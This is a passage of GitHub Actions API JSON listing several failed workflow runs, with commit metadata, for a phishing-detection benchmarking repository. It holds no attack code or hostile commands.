_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287316132/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287316132/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285254191","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287316132/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287316132/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287316132/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"f42e4ed29fc3bfc2894360f6706d4abce1fe9f30","tree_id":"dd1886a2c272b6ece4aa1697c637097b29595a52","message":"Aligned extract_email_train_features and extract_url_train_features","timestamp":"2020-10-04T02:31:16Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287226658,"node_id":"MDExOldvcmtmbG93UnVuMjg3MjI2NjU4","head_branch":"url_features_fix","head_sha":"ac5ab951cfd13aa872795ce55944840fc7984594","run_number":1053,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1285097077,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1MDk3MDc3","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287226658","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287226658","pull_requests":[],"created_at":"2020-10-04T00:57:16Z","updated_at":"2020-10-04T01:28:37Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287226658/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287226658/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285097077","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287226658/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287226658/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287226658/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"ac5ab951cfd13aa872795ce55944840fc7984594","tree_id":"1843a0ea8c191b3baee469c097551eed3c95a415","message":"Made url_features.extract_labeled_dataset align with email_features","timestamp":"2020-10-04T00:57:01Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":279532862,"node_id":"MDExOldvcmtmbG93UnVuMjc5NTMyODYy","head_branch":"feature_fit","head_sha":"675d8953e71397a82897740cf5f7235210244661","run_number":1042,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1264455078,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjY0NDU1MDc4","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279532862","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/279532862","pull_requests":[],"created_at":"2020-09-30T00:34:39Z","updated_at":"2020-10-02T22:25:12Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279532862/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279532862/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1264455078","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279532862/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279532862/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279532862/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"675d8953e71397a82897740cf5f7235210244661","tree_id":"4a5da3d1c41616abea86eb154f2e648dc18f45c8","message":"Fixed get_config","timestamp":"2020-09-30T00:34:33Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":279473022,"node_id":"MDExOldvcmtmbG93UnVuMjc5NDczMDIy","head_branch":"feature_fit","head_sha":"3a18ec0a94bcc5986e6a60a24913ce1234213e6a","run_number":1041,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1264299263,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjY0Mjk5MjYz","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279473022","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/279473022","pull_requests":[],"created_at":"2020-09-29T23:38:46Z","updated_at":"2020-09-30T00:02:54Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279473022/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279473022/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1264299263","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279473022/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279473022/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279473022/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"3a18ec0a94bcc5986e6a60a24913ce1234213e6a","tree_id":"a559f75392c481f1f6bf16f3c06439fcecf89cfd","message":"Email two-step 